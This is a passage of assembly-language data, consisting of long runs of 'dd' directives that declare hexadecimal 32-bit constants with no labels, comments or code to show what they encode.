		dd 2A5EC7D5h, 53304371h, 0AAC3417Ch, 6EF7A0F0h,	762200CFh
		dd 75FA24F7h, 521779A3h, 20309295h, 3DD8AB5Ch, 0BB009350h
		dd 0DDA5DB1Fh, 110F219Eh, 2065A07Ah, 4674F603h,	5125185Ch
		dd 20C26978h, 3CD1C0EDh, 70C10C00h, 5C99B5F7h, 0A5FEA77h
		dd 0ECF52C87h, 83AAE2C4h, 2808885h, 2754DBCh, 6E82B082h
		dd 4FECF101h, 25A43180h, 0D8076397h, 81128DE0h,	90252202h
		dd 2D694830h, 0E9B9009Eh, 3E80BF14h, 6F0A8844h,	0B4E8BE5Dh
		dd 4054F743h, 6647F831h, 598A496Ah, 92626D44h, 491F1008h
		dd 62F7C8DBh, 0F09163D8h, 707212h, 68C7A639h, 484C8D9Eh
		dd 308130ECh, 487E7054h, 5B44C8F0h, 61F260BEh, 0A5E88659h
		dd 7640F2E3h, 0ACB88A6Fh, 0DEE4089h, 0D6782840h, 0D924A152h
		dd 0C854CC10h, 7F855A00h, 0A3FECE98h, 0AE5C00A8h, 7229E1E5h
		dd 54143CB3h, 88A47F4Bh, 838A8256h, 4A606219h, 7601D03Eh
		dd 5422C2B3h, 4DF14C93h, 21839C42h, 4253D478h, 9110DA40h
		dd 0CD54015Bh, 0EE85B193h, 0B916FC3Ch, 7AB2F803h, 34112E7h
		dd 6D897271h, 0B0812EAAh, 9EAE830h, 476138B0h, 46602559h
		dd 4B686ECh, 32B8CF91h,	0FB188329h, 7B537118h, 0D44B91h
		dd 57A1E5F3h, 0EC567F10h, 0B874913h, 4AC05F18h,	0BF4F3A54h
		dd 0F1F96Eh, 0C5297BC7h, 0A2B9D2h, 2C62C36h, 0DD767787h
		dd 0CACD8A05h, 20C36A21h, 7D48A469h, 9E8480BFh,	140F1FE8h
		dd 3E3300A1h, 69851EEFh, 18018070h, 6A87F349h, 0D98E50B7h
		dd 0C2C06044h, 6C8A9C9Ah
		dd 0FA809E00h, 89399961h, 0D862043Eh, 0A1C5F726h, 4ABC0298h
		dd 0B8289829h, 0C3623DEBh, 0B47405B0h, 24995342h, 0ECB86000h
		dd 3095B725h, 37B914BEh, 41C49959h, 0CCC8DA49h,	86B0A0AAh
		dd 13C7C6Eh, 0CD8D1A8Ch, 301EC6BDh, 6D89C7E0h, 3E477BE0h
		dd 260A59F8h, 10C86784h, 2CC4A08Eh, 8FD2003Fh, 3DC35665h
		dd 0A204135Ch, 9CEDBD70h, 216874C2h, 42414E54h,	9C203C70h
		dd 244D27h, 0BEFB1506h,	0E073F842h, 26B0C91Fh, 90EFD589h
		dd 9F72280h, 0F4F17040h, 28932090h, 0A8EBA903h,	78D2AADEh
		dd 22D0B061h, 25036A74h, 95A140C3h, 0F8BB7FDh, 15080524h
		dd 73579088h, 841A011Dh, 0D55DCBCh, 0CE70C4B7h,	732CC82Eh
		dd 2A4D5A01h, 0FC62BE43h, 7B22F607h, 3F0DD072h,	0D502E55Ch
		dd 0CBCD8FB2h, 93DC664Dh, 0BE980678h, 0D31C41F4h, 75C0B813h
		dd 929D74BBh, 1DAA2C6Fh, 6947114Ch, 534C91C8h, 1500CC32h
		dd 0AE2BCF71h, 0B300BE5Eh, 136A80CEh, 58DE34A9h, 864CC88h
		dd 0CA70C277h, 0B1153E20h, 5489DE47h, 52C08002h, 750D140Eh
		dd 0EACA23Fh, 7FF7C3B4h, 0BFDAC940h, 5C14A543h,	0F1223030h
		dd 8896F5E8h, 0A7023860h, 710927C0h, 58F84013h,	7B00272Bh
		dd 652A6649h, 79460Ah, 44089DACh, 0C63E5BD7h, 0F021404Ah
		dd 0C711467h, 0A73091C6h, 0D3DD2E8h, 5D01F2AAh,	1032D0h
		dd 40A283BBh, 77A00FD2h, 0C1B70A87h, 0BB84E458h, 0C8005BA2h
		dd 0F670C03Dh, 1F115852h, 0C14F2807h, 0D57B5DFFh, 0BE298C6Ch
		dd 1C11E9DBh, 0C2830833h, 0C988E6A4h, 9E4A8BC0h, 964CAE01h
		dd 0BFB78A54h, 20CE1C42h, 198E6007h, 7524F907h,	1841F41Ch
		dd 0AC30973Ch, 0FD498846h, 232C2B00h, 726C344Ah, 0EF500ABh
		dd 8EEBAA46h, 0EF4CF144h, 2E48008h, 124FF6DEh, 4EA9126h
		dd 6A2910h, 0A1CC63AAh,	2C8D0902h, 14905217h, 1C056D7Bh
		dd 24437C3Ch, 57CC94C1h, 0E95858h, 0E494D9E6h, 0F74A4DFDh
		dd 0D7B36A07h, 83808AEEh, 128CEF22h, 33EDF147h,	45A48868h
		dd 0F4C1BCAAh, 2FF0933Ah, 6087374h, 0C07B0558h,	4C98290Dh
		dd 1C676D44h, 0CCEFD2h,	0DBAA437Eh, 28FD54DFh, 4926C090h
		dd 60BE4F0Fh, 77F169C6h, 5812E321h, 74C8D47Bh, 580C944Ah
		dd 7B140D40h, 227851D2h, 0A7207F0h, 2042CE2Ch, 7088EB4Ah
		dd 47ED0F04h, 0A4926790h, 31D02898h, 0CD842ED0h, 3A883013h
		dd 10B1BCA4h, 2FE2DF8Eh, 0F039423Ch, 407071EDh,	5F7034AFh
		dd 0FD02E2E4h, 0FCE0D49Ah, 49A0485Ch, 22D74BDFh, 1A204B2Ch
		dd 3D95AB3Bh, 0A300617Dh, 0F242117Eh, 0A0BDF97h, 1444638Dh
		dd 3DBD00D4h, 0D115949Ah, 0FA00D036h, 0DA9251C1h, 24F9AAFCh
		dd 30CF78EFh, 334A2539h, 0F7FB1A0Bh, 3B100079h,	1B83758Dh
		dd 8930F1F0h, 2CCFD9E1h, 0B8919Ch, 0A9B665EFh, 49FA78Bh
		dd 0AD9149ACh, 0D3188921h, 502C4A9Ch, 0CD4B5D80h, 3EE4A5FEh
		dd 9A80AE67h, 0A902CE6Ch, 0ECCA4804h, 498DC42Fh, 7031A9DDh
		dd 8928D447h, 8C905225h, 1503E857h, 3DC46CA1h, 0B856B31Bh
		dd 944DA7D9h, 2FAB4088h, 1000EC7h, 0FC6D194Bh, 0E3FFA0h
		dd 0A57ABA12h, 7B854A0Ch, 34AB4Ch, 2C622259h, 915A88h
		dd 0B4931CBh, 78AA2666h, 0A870D758h, 50E80087h,	2A03779Ah
		dd 0C005BF9h, 0A1A84251h, 589EA72Eh, 0AB13CCA9h, 0C85B10E3h
		dd 0C7924584h, 0C972A0B5h, 2007C2Bh, 0A9802FFEh, 0F2ACD978h
		dd 0F112F0C0h, 3D8D060h, 882E8A2Dh, 0E1E78538h,	30A46605h
		dd 5442F9A4h, 91811300h, 8D3C5AE4h, 4C19B460h, 73144A2Fh
		dd 0B81950FCh, 42F49BC7h, 0E85863A9h, 99DE73Ch,	640F2474h
		dd 0A86FF0B4h, 0D59184h, 8E28F09Ch, 4932FC26h, 2370D850h
		dd 6059EF37h, 41BC42h, 8BC8D8A7h, 0A844912h, 22DC1Fh, 315A6223h
		dd 48E12026h, 76495418h, 0B4D27869h, 947EBE40h,	136880FCh
		dd 91EAAA5Dh, 64A60E09h, 3E401F3h, 81F0152Fh, 0C88D002Eh
		dd 51260625h, 6380574Ch, 0F0850C55h, 49F909EEh,	9044C15Bh
		dd 80C9F6F1h, 50204A31h, 75160A34h, 2088052Dh, 0D8B984h
		dd 7721927Dh, 4E00CEFEh, 0F582DB48h, 1232640h, 0EAA80DBCh
		dd 6096A39Eh, 48A0124h,	8B497AA4h, 58008CE4h, 0CB4D8EACh
		dd 5214AD4h, 81ECAAE2h,	0F38E251h, 0E0074F63h, 0E4046C73h
		dd 0BD7B023Ah, 44996886h, 0E6006C51h, 0A4C4423Eh, 9F340359h
		dd 0C95BD21Ch, 0A50C3B8h, 0DE05357Dh, 0BD2C6786h, 7A718888h
		dd 9119008Ah, 0BC7D5769h, 291E8339h, 0B0857863h, 0E00056AEh
		dd 0B1DE8B03h, 59C4A1AAh, 9E034028h, 5FB76C44h,	17BCD100h
		dd 0F0BD6AB1h, 0F1B23F6Fh, 32998D8Eh, 0C8062AEh, 5DF3123Eh
		dd 0EC80A49Bh, 9D92A672h, 124690A4h, 1429A1DBh,	0C0131CA0h
		dd 3C6C3076h, 0F31DB2D8h, 30412EE1h, 0CC2CB78Dh, 474FB451h
		dd 14FACF08h, 7992AC17h, 0EA37B830h, 46EB13CDh,	0B40B00A1h
		dd 9505F6A6h, 0B1F89650h, 12259839h, 0C405513h,	72BB575h
		dd 0AFF0E2Ch, 8567C260h, 18D89189h, 80F43C8Dh, 0DEA0AA25h
		dd 0F2CD07AEh, 508910F5h, 70E305DFh, 0CB2CC490h, 4844086Ch
		dd 0E9319740h, 920F350Dh, 400158AEh, 442FAA7Eh,	0D4675C87h
		dd 8AA01C5Ch, 0E200D5E6h, 34CE0ABBh, 4299F0Bh, 0C04283E7h
		dd 54DC80A0h, 88A4AF46h, 833CB448h, 0DF416C35h,	589DB8D0h
		dd 0EC9022h, 0EAA72D79h, 8D3E4B9Fh, 49C4CD39h, 8E92198h
		dd 0B78C30EAh, 58A65154h, 7E3AFEA4h, 0D7249D00h, 0EE1D22FBh
		dd 0B70C0F0Ch, 74492908h, 4A5C9062h, 50582721h,	0F6946037h
		dd 9ACE6607h, 0F19004EFh, 5615DB4h, 62BCD7CAh, 0F641271h
		dd 0E63F0758h, 2F630000h, 0B76694B0h, 603FFB31h, 4C727254h
		dd 0D9C86331h, 239C026Eh, 192E653Eh, 9F14BC71h,	8E7388B0h
		dd 31C0EA15h, 8A8B8E32h, 838004B1h, 7D7577BCh, 8780036h
		dd 475C40C7h, 990330E2h, 0C61CD5A7h, 0CD24A167h, 253B6836h
		dd 85DC389Eh, 0E4B312ABh, 0D896BEA4h, 26518480h, 0B012A2D5h
		dd 6F881D04h, 801793h, 0E4528D5Ch, 4A7F4505h, 1B26873Ch
		dd 22E94F9Bh, 49E81E79h, 6CC2DB28h, 9EFC7E45h, 179A008Ah
		dd 5790FFB6h, 0BA009325h, 9C367134h, 13210A7h, 5DF9A484h
		dd 80C8EEF1h, 0ECF22CF9h, 0E2691F4h, 0D898639Bh, 0E4186F49h
		dd 0AD003D78h, 8F941F88h, 3E629066h, 9700A01Ch,	0A6F32C7Bh
		dd 0B8B0988Bh, 51746C77h, 4F05D9FCh, 59F9F4ABh,	1D1344CCh
		dd 83F6418Fh, 0E622DF90h, 0EAA9AFE8h, 96D9205h,	0C0B758ABh
		dd 1716263Bh, 2800C843h, 1852E300h, 0C540494Bh,	0EF70092h
		dd 6FB8ED6Dh, 2701A020h, 78844D7Dh, 0D4495CCEh,	0D9828440h
		dd 20F09020h, 0D486C9CDh, 0E7B96502h, 0A0FAEBE1h, 4AE28BBCh
		dd 126F0869h, 0B380F3BEh, 0F55CEF52h, 0D2994C90h, 0E82FC715h
		dd 88C54913h, 548BCE8h,	96A225Ch, 0C524758Ah, 0A760149Ah
		dd 0A30002DAh, 51B45D0Eh, 123FDCAEh, 0A2C6B8CDh, 63B0088h
		dd 0C7FD4398h, 14D76DAh, 0CD0FF94h, 0D4020918h,	0A9027440h
		dd 78C89633h, 7A7454CFh, 687B2441h, 30A72224h, 67693D12h
		dd 19001E83h, 1D985804h, 99B6D5h, 0F236C035h, 5C48975Fh
		dd 0C078AD58h, 4E4964B6h, 0A9DF0060h, 0F8F16C23h, 18BE4556h
		dd 8326ACC0h, 0C28D01D6h, 14131F04h, 9D606005h,	104F6A27h
		dd 77C2DCh, 0C17252E6h,	37EB18Dh, 3BAE2004h, 34C4E42Eh
		dd 634E0880h, 2C628871h, 0EE0CC513h, 662B2400h,	4C3C26B4h
		dd 0AAC0E4D7h
		dd 47F2CCF0h, 0EC8CB609h, 0CB99001Ah, 69E65364h, 4C845898h
		dd 6888525Fh, 0F5DD0A91h, 60DCFF68h, 0DC5CE69Bh, 4D4CC600h
		dd 0CE2E856Dh, 602F4831h, 1438742Dh, 0E501892Ah, 0F09E243Fh
		dd 19A452F2h, 29610000h, 0F4A7279Fh, 0B257F17h,	97492C00h
		dd 8846CA78h, 1618754Eh, 951142B7h, 0AFDC069Bh,	71795297h
		dd 0B2298700h, 617C72F6h, 3C0690EAh, 0CD05A254h, 8C8A3D81h
		dd 370759ECh, 0D20787BEh, 479D4930h, 268E09F7h,	47212A9h
		dd 0E086C300h, 0B4F973Eh, 4E351250h, 85682052h,	4306BFCFh
		dd 0AA5C846Ch, 0BEE9E972h, 903CD8C0h, 715663B4h, 0CEE8355Ah
		dd 0C9989C54h, 7E58D800h, 0CC681D04h, 9475EC02h, 0DE494154h
		dd 227432C1h, 4FE8007Fh, 18CFEC84h, 2C03780Bh, 0E21E305Bh
		dd 4070A0A1h, 0FD080261h, 0E0C09332h, 6F3B74C8h, 847649C8h
		dd 0C024DBD7h, 9920A079h, 0A3753703h, 50D56523h, 8847A0C8h
		dd 8B008317h, 0EAA84AD2h, 5860A68Fh, 0B70CE48Dh, 7308A477h
		dd 0BA39ACA6h, 4D271F89h, 5DB10AC3h, 232CD036h,	2AD82464h
		dd 4B166074h, 0D200F082h, 0F852207Ch, 69B1283h,	0BD2F9ECEh
		dd 0CCB0B994h, 9D4BD507h, 4DF20DEh, 0E0878C74h,	403044D8h
		dd 35CDC151h, 3CD200E4h, 42A4AD77h, 5A03227Ch, 37D70ED3h
		dd 5E9C6A6h, 2313E291h,	0D008E515h, 0FA0ADE77h,	0E043BEEEh
		dd 96781911h, 11FB8338h, 42C836BCh, 3D13B15Eh, 0FC0081EFh
		dd 24466B28h, 40B44E6Dh, 27A57E8h, 0C5055FE1h, 6AD29EDDh
		dd 3F6CC0AEh, 86001299h, 84A8DAD7h, 24A0FD87h, 12548104h
		dd 0C8F45369h, 6D00AFC8h, 0E0EBEF0Bh, 25A6B66Eh, 80114F3Bh
		dd 0DC1D11CFh, 0EC65BBE8h, 279D0029h, 0DE309BF5h, 0D94B4939h
		dd 0F48380D0h, 0B1B8B095h, 0DCB50010h, 8F2C99E5h, 8F211A25h
		dd 3C35F764h, 91E7CC2h,	80B574A4h, 512692DCh, 0C4093C4Bh
		dd 8448E38Bh, 5540CCh, 0E54EF3DAh, 73F9A217h, 3C62C58h
		dd 0D58BAA8Fh, 588AA294h, 65EF226Ch, 415CB730h,	0F6308C5h
		dd 5F06C44Ah, 0A6CBDC85h, 0AD20084h, 23D46EA7h,	50E538D3h
		dd 2914E780h, 0C448794Ah, 4F88D748h, 25AA2840h,	4862FEABh
		dd 0C922B8B3h, 379DC98h, 909EF171h, 72799050h, 0D17D00DFh
		dd 189B50C3h, 0E26CCEBh, 81D58C9h, 20B20EA0h, 899D98B1h
		dd 24C140EBh, 485ED20Ch, 0FF2B8DC0h, 6780A183h,	13CB5028h
		dd 81D10C4h, 37BECA03h,	99C0F9DFh, 50BE2F83h, 28BA68B1h
		dd 5464C049h, 31F0CC81h, 2C7940F1h, 0CCB44425h,	91864924h
		dd 0C44D817Ch, 0F96797DDh, 0B778ECE3h, 0D77B9405h, 1CDCCA58h
		dd 558101FCh, 0B7B025E1h, 45828A6h, 3CEB4D4Eh, 2732D4BCh
		dd 0C0CBA759h, 0A52B08FCh, 8C74841h, 1219DEF0h,	0A94A3FDh
		dd 0CC062F84h, 49134611h, 0AF942CC7h, 3AED2A07h, 12603BD3h
		dd 0E87E46h, 0A5CBA385h, 1BC14A20h, 1F7220Ah, 0D4811C41h
		dd 70AB15F6h, 0AD499CDh, 427198h, 0E9477834h, 7506FAC9h
		dd 32488B25h, 8664D9C8h, 0A18B1537h, 7805934Ah,	9CA2D449h
		dd 80561310h, 0F0FD03B2h, 0F60ECC2h, 0BD4F432h,	0C59FB0A4h
		dd 0CF802004h, 2509B8DEh, 4294A70Fh, 64F988h, 0B1F19E6Dh
		dd 15ECAD89h, 3097D27Ch, 79103D8h, 69D91C43h, 7BD13046h
		dd 3C09D3D5h, 9840B374h, 351234h, 47AC9471h, 7524A7Ch
		dd 7CF075FFh, 20F58E20h, 3F73EC51h, 913400F4h, 0EBD6111Dh
		dd 810BB524h, 0A9404B33h, 65D018F8h, 0E190087h,	0D41425EAh
		dd 4A003222h, 94801A13h, 25992989h, 4AEE1h, 6C68B062h
		dd 7208E981h, 5DFA88h, 2910486Dh, 2CAD2824h, 6E46541Ah
		dd 4BF04121h, 59CEAD0h,	0F951C187h, 0A7BCC226h,	0EB7A2510h
		dd 3EC0203Ch, 83AFF00Ah, 2595A00h, 0E8956ECBh, 1B963F8Ch
		dd 719D609h, 7804A42Bh,	63048D4Eh, 9D05DFD0h, 5C0052F8h
		dd 0A38ED525h, 0A966038Dh, 4A0E1578h, 0C3683850h, 27DEAA88h
		dd 0D4A0BD0Dh, 0FA85E136h, 582E7F1Eh, 43182B41h, 0FCE9DFA7h
		dd 91902231h, 0B297C370h, 25780E0Bh, 356E1C4Ah,	122F9DE1h
		dd 2C01213Dh, 0EAF086F4h, 2EF039h, 0CBC73CC6h, 49167426h
		dd 0C470DA48h, 90C180EFh, 0D43248F4h, 0F3369680h, 0CE26CB8Bh
		dd 7400384Eh, 0C344E21Ah, 503962C1h, 2CC154B1h,	0F98B124Dh
		dd 0C4BB00C8h, 0E80CFF01h, 0A2FD5A00h, 0A715E904h, 3EC7AB5h
		dd 3C5D668Eh, 349318C6h, 658A9EA8h, 0C0CE0226h,	4CC92209h
		dd 43B7860h, 8BF17295h,	21BCC8B4h, 3A98CC04h, 78BCF3A5h
		dd 77522EC2h, 46E94C80h, 0FD0EA8B1h, 0A0FBB4E8h, 3A4AB64h
		dd 44549855h, 9C589376h, 4BA042C4h, 58FCC8h, 0EA66F27h
		dd 8ABE70C8h, 66357A0Eh, 718B00CEh, 6B128ED2h, 0B4C1396Bh
		dd 0A8187017h, 2686F40Bh, 46240408h, 1214C8F2h,	205E3C33h
		dd 17C3B418h, 83D35300h, 0A58DD41h, 0CE110507h,	4026D47Ch
		dd 81BA8D6Ch, 0D8707B59h, 9FF41E09h, 6EAC1846h,	0B63ECE3h
		dd 8AC5E866h, 35378822h, 6D44A0D8h, 984F667h, 598A8D39h
		dd 0ED9064E3h, 462CDC54h, 246028ABh, 39C0D601h,	0A01F0588h
		dd 0C8F096C3h, 54289354h, 58BC504Dh, 4FBD0540h,	64210517h
		dd 0E1981675h, 27F4681Ch, 0A60A013h, 7087727h, 6497E792h
		dd 93A4508Fh, 470EF079h, 0A22BE684h, 0E32E2C7Dh, 0C4BDEA38h
		dd 13EAFE94h, 0E0F1CAB2h, 73447434h, 0BCC85278h, 0F3F14D07h
		dd 38FBC941h, 75F3789h,	85413DB4h, 0D1EE4854h, 7511150h
		dd 7A879F43h, 8305687h,	18412Eh, 9235F566h, 0BE1F0CF6h
		dd 4A28EF00h, 0E382F63h, 26DEE8A6h, 67BC679Eh, 1C805F13h
		dd 0FFF1DF08h, 69000AEAh, 0B687E3E0h, 5CD3923Eh, 0C8C73077h
		dd 8016A285h, 6E22840h,	93E8606Bh, 0BC39B8C4h, 116FAEBh
		dd 0C27E534Ah, 0DCDAB0A5h, 84A004CDh, 0CC4552C0h, 1C872428h
		dd 3FB4A0ABh, 6000A61Eh, 6CECDFAFh, 84459EFh, 455FEEF1h
		dd 7C8D2C17h, 8B005C33h, 5ABA3288h, 8D0B76C4h, 0C1D59CCDh
		dd 0A4E020B0h, 13635ABEh, 64B3B0h, 0C1B9E694h, 2D33C56Ch
		dd 10992FC4h, 0E434595Ch, 7B3F2AA3h, 0ECCB06C1h, 4AD95919h
		dd 35F07069h, 810191B5h, 0DE70D9A8h, 5473A352h,	8322840Ch
		dd 6DF11F08h, 89A43E68h, 8F30334Dh, 4AF07978h, 6502DC08h
		dd 0B71EAA26h, 4010CA10h, 884AEEB8h, 0A9612DFDh, 2615450h
		dd 0A058FC3Ch, 1C4EF9C9h, 5E77ED03h, 0EC367B8h,	78C855D0h
		dd 0C8C93DC4h, 8CEFE8h,	26612439h, 6ED4788Ah, 3CF98Ah
		dd 2B31994Fh, 77308214h, 0DD1D4CA7h, 0BD7035Ch,	18071FFEh
		dd 18E075BAh, 84B874B2h, 0F04452E8h, 5FCD2278h,	8AA92512h
		dd 0AC359417h, 67AAB880h, 1FD8162Eh, 0D428D28Dh, 0F83B7418h
		dd 62F8A190h, 0A72EA477h, 6038A644h, 761AFABh, 0DDD2D73Fh
		dd 201E2E38h, 744046BAh, 5BAD7822h, 21108EDDh, 51509DBh
		dd 3CC51862h, 0D6DD0Bh,	93A73FBAh, 4C154858h, 0D242858Eh
		dd 30E43553h, 7B586C90h, 8042C874h, 5D6F71C0h, 0F40BA797h
		dd 0C8612696h, 0BCB48A24h, 49828E44h, 0CFE98CA0h, 0E80292EAh
		dd 0DE75C169h, 280060F1h, 0F3B4A982h, 6D78AA11h, 2C0A7870h
		dd 3CE78A81h, 44372517h, 0DD0DC2E0h, 2753726Eh,	0CCA71520h
		dd 8D1961B0h, 0E8E32098h, 0AA164E7Bh, 4C8F51Ch,	0C7A500F9h
		dd 50942E3Ch, 0DE0C6E55h, 0C83EA0B7h, 0CCAB4B4Dh, 44BEB224h
		dd 6625h, 47DE9FEDh, 18365271h,	601F203h, 0B83BC802h, 44B7350Ch
		dd 0DC77F659h
		dd 7C217A00h, 0E7991B8Ch, 80F00CB3h, 0C9D17E52h, 0CD0089ECh
		dd 21E29E6Dh, 5C9D3Dh, 0FC8BD1FFh, 70FABA92h, 10BBDD2Dh
		dd 3FDECCCh, 3B95AC83h,	29BF9A21h, 2B0048F1h, 11B049C8h
		dd 44A600BFh, 0BB7FA361h, 9C5BC53Ah, 0CBA45021h, 1D5DFECh
		dd 0F33480A0h, 0C8FA0A89h, 0D92CFC0Eh, 0F25038E7h, 0ECD182F4h
		dd 0FAF37600h, 3C324ED5h, 2F801830h, 3D2652EAh,	9105DB81h
		dd 4F5B7ABFh, 21EC088h,	28C5EFCBh, 0F4F14371h, 30A66600h
		dd 985B2515h, 8A7744D8h, 0E17255F0h, 94C3D100h,	613E2EA0h
		dd 0E2009C8Eh, 0C340E960h, 2D041493h, 0E5BD386Fh, 2F2268A0h
		dd 280055F7h, 903E33B4h, 56EDE700h, 0B08938Dh, 0F1B73165h
		dd 507154F1h, 0A8152C58h, 85B7EA00h, 402F84F4h,	706F58B5h
		dd 0CB4EB6C0h, 87006C72h, 7A79AB92h, 0D14F3Ch, 81960F2Dh
		dd 8665568Dh, 0DDEDF016h, 54E23034h, 11DC6224h,	104B01C7h
		dd 9A386E5Ah, 9672B030h, 0CB788FF8h, 3B0028B6h,	14F8D200h
		dd 0E673C9AAh, 3CB41FCCh, 0E864A554h, 4E21CF43h, 288FA40Dh
		dd 46C110E6h, 0BEA9B288h, 97FF40B8h, 0A7003961h, 495AB38Ah
		dd 51F212Ch, 6EECFB98h,	8378E82Fh, 3E2E153Eh, 0A934A739h
		dd 0A8008419h, 43DA83F4h, 0C8AE90B0h, 44209512h, 3EBED2E2h
		dd 7E2DC900h, 66D8EE3Fh, 35C40EE7h, 19C73C68h, 0B404CB21h
		dd 0C3C4F8F5h, 0A0F63380h, 3EA684B5h, 478235Ah,	2F139C2h
		dd 80CCE841h, 0DE79687Bh, 591301BBh, 45E5BF7h, 9961D03Dh
		dd 15219013h, 0FC95B020h, 38B10288h, 0D7788422h, 832DB0E6h
		dd 46806C8Bh, 0F022EFh,	0D4C083EAh, 1BAEA35Ah, 22058C77h
		dd 0F7E1CD95h, 0A4F4A480h, 8D0238D8h, 7221C0CCh, 5986CF00h
		dd 2C09E18Fh, 60A8BEABh, 44C8B4CDh, 0F4F5170Bh,	2C44A8h
		dd 9F12160Fh, 0A389DFD7h, 0F4D09700h, 52CB6F67h, 7E32B0A0h
		dd 3430B82Ch, 0AD5140CAh, 84FC52E4h, 2509CEF6h,	460080D9h
		dd 0D2899280h, 49542515h, 0D97850E8h, 11E8B74Ch, 0BE2C56D6h
		dd 0BC6F435Ch, 8F775AE0h, 0BFF75D07h, 0F012A3EFh, 9D68FAECh
		dd 0E5682C90h, 1EA18900h, 0C3F83AF5h, 666E0AFBh, 91BCBDEAh
		dd 0C0C84AD7h, 0EFF2BAh, 99D96FCBh, 682B7551h, 54BC9102h
		dd 0D9648CFEh, 1D8E00FCh, 0C67D45C2h, 830FD600h, 41E2F956h
		dd 0A7F1C761h, 4ACDA028h, 8B00FE2Dh, 4E2F5D0Eh,	0B154B175h
		dd 3BFA800Ch, 3490426Ah, 941A3A00h, 0E4055C76h,	30617667h
		dd 2251F2ACh, 0B14909h,	705E2983h, 0A594B079h, 0A7469h
		dd 0AFE103D6h, 0FEBC06C9h, 82623800h, 7786D82Fh, 49250B98h
		dd 1079FB1Fh, 5D800E1Fh, 0C7DAAF74h, 0B2B700B9h, 8A80D9DEh
		dd 0C6131CD7h, 90E2C978h, 5C46AA2Fh, 3C1F7096h,	48B37305h
		dd 6D0794A2h, 0A092238Eh, 0D602D519h, 600090B5h, 0E737030Ah
		dd 4FD4D014h, 20DA6826h, 25136311h, 5BF02051h, 4102889Eh
		dd 9FE896DAh, 344C413h,	0DEDCFD16h, 0E0A3E7D7h,	0DF4E2AE0h
		dd 7B845201h, 0AA2F837Ch, 42D91870h, 58633CC7h,	2D8D3EAAh
		dd 0F90429C5h, 42E800E4h, 0A6A01C9Ah, 0A0529E27h, 0F15FE6Ch
		dd 8A3E1297h, 5CA88255h, 0DC755422h, 74986968h,	0ED0177F5h
		dd 3B58ACD6h, 25208D97h, 0F0AD1EE7h, 3C328082h,	21468357h
		dd 0C8965F05h, 28C02CB0h, 2E98D58Bh, 9828F0h, 6C1D45D1h
		dd 0CC008A92h, 998D1AB3h, 2573FAF2h, 10C4437Fh,	0CCB4E51Fh
		dd 3D3E41C0h, 0E22BF419h, 632E00AAh, 979A8580h,	0F904694Bh
		dd 3E67BFC3h, 90F43093h, 4124A23h, 68AB4CAEh, 0B7148C7Ch
		dd 59F03D00h, 462E0864h, 20E75F6Ah, 0C84E43F8h,	0DE5EF700h
		dd 0DAA3EC21h, 320E0149h, 0D679246h, 96D0929Ch,	9F2CFC80h
		dd 2FDAE88Ah, 24CA2473h, 7D002471h, 0D1AA5D8h, 0BB340065h
		dd 85CF4FD5h, 4E00C6C0h, 0F40B8B4Dh, 99A2681h, 52959963h
		dd 5A5C3C72h, 4309005Fh, 980CDC85h, 78253B02h, 244B7064h
		dd 10596CC2h, 0E38B704Dh, 0C02A5D5h, 0C648AA79h, 217C1D00h
		dd 780603DAh, 46906647h, 4E14BCFAh, 2A484F7h, 0F0C1AE24h
		dd 24785AF1h, 169C11DEh, 80E0E2CBh, 2630F865h, 1E79F46Ch
		dd 24AD5544h, 61B23033h, 0C94BDA2h, 0A8076F43h,	135CB9h
		dd 474E03D3h, 0FB544F0Eh, 0C1226C98h, 0EAF125C9h, 8C7F411h
		dd 20855BABh, 0AD770894h, 0AE35E600h, 0D3674807h, 0CC2E3817h
		dd 10442CA7h, 38453E00h, 1E394EA1h, 1D89793Fh, 833D2032h
		dd 0D2C7D75Ah, 0AA4482A4h, 9C00C8C6h, 0D6F5BD51h, 87FE32h
		dd 8EF86DAh, 2EC45CA2h,	0A9E4EC12h, 0DC8044A8h,	0B6410E0Fh
		dd 1DD57604h, 68E82B16h, 1397BA12h, 3CEC8C18h, 0D8F90F00h
		dd 0D15DE410h, 0FC49056Ah, 0C2FF650Ch, 51297D54h, 251901E4h
		dd 0EC68B3EFh, 0D676F967h, 0D891625Fh, 0E070FA8Dh, 0A78B886Eh
		dd 1360C490h, 0C6026B11h, 3F471753h, 847CF0ADh,	0DA1EB7F4h
		dd 402CAA89h, 1E832360h, 87570F5Ah, 41A403D1h, 27ABC08Dh
		dd 0AD1FAAEDh, 26C45C62h, 44B4129Bh, 0FFE500C6h, 0D8D0109Dh
		dd 0D516495Fh, 8094F7F0h, 44885CC7h, 0ACE14174h, 0C0D4D61Bh
		dd 9F7B0283h, 954BD8B4h, 0E7622868h, 318F3A02h,	0D947540Fh
		dd 0A6910298h, 287EF8F0h, 49128361h, 6ED71180h,	0D8369904h
		dd 81FEAE38h, 15473351h, 67F8FF55h, 0E228D375h,	81DC2494h
		dd 0F898BF00h, 17E2C61Bh, 84632D19h, 0E8C01014h, 0D29CAD0Bh
		dd 6AAB88B9h, 0EC9FB020h, 1D77002Ch, 437B3110h,	0EE15B39Eh
		dd 486CDE51h, 0C0A852C0h, 0D92DABB1h, 918F00E6h, 0B77FF7CEh
		dd 4404A85Dh, 85E11676h, 0F0955F31h, 0DC0057EFh, 7CA89D8Eh
		dd 24544E42h, 40044570h, 7A522FFAh, 1D8888h, 5D63D83Ch
		dd 440F7876h, 0C8545300h, 8D93FD59h, 9646EE07h,	0B2244F04h
		dd 0CE00C49Ah, 0FA671218h, 0D4E2E88Dh, 57F0E004h, 2C007302h
		dd 0E7906D8Ch, 28D22E1h, 6131D898h, 4454C0B4h, 7880251Ch
		dd 129F90D1h, 27818A41h, 0E8958B2Ch, 5D278D7Dh,	2F1D697h
		dd 60EDF0B6h, 0CF4408D6h, 8D045A4Bh, 967CE302h,	0CC208427h
		dd 7C158Bh, 2D22B8D8h, 87D58AFFh, 4F445C90h, 542F7893h
		dd 982E08F9h, 71315E90h, 0C0611B20h, 7C005A4Bh,	948DECB2h
		dd 2D92A1Ah, 76FC8863h,	2C792C97h, 7A5D2700h, 4B7558E0h
		dd 7D0C8C2Ah, 4E002075h, 8EFBCE9Fh, 122AB5D5h, 885E47Bh
		dd 8496C9A4h, 0B51B488h, 0CC70E9C4h, 0F2516C8Ch, 55BB008Ah
		dd 13FCEA18h, 12D994Dh,	0F6AA2E48h, 0D29545C3h,	0B4207474h
		dd 3AAB6B2h, 95F32481h,	208926ABh, 0D1A04C3Ah, 0F20E597Ch
		dd 80E829C3h, 0D5903124h, 153D1186h, 58B90057h,	71D25D01h
		dd 9CAC02BAh, 3C1B46DAh, 0CD784460h, 749064B1h,	2540D4C8h
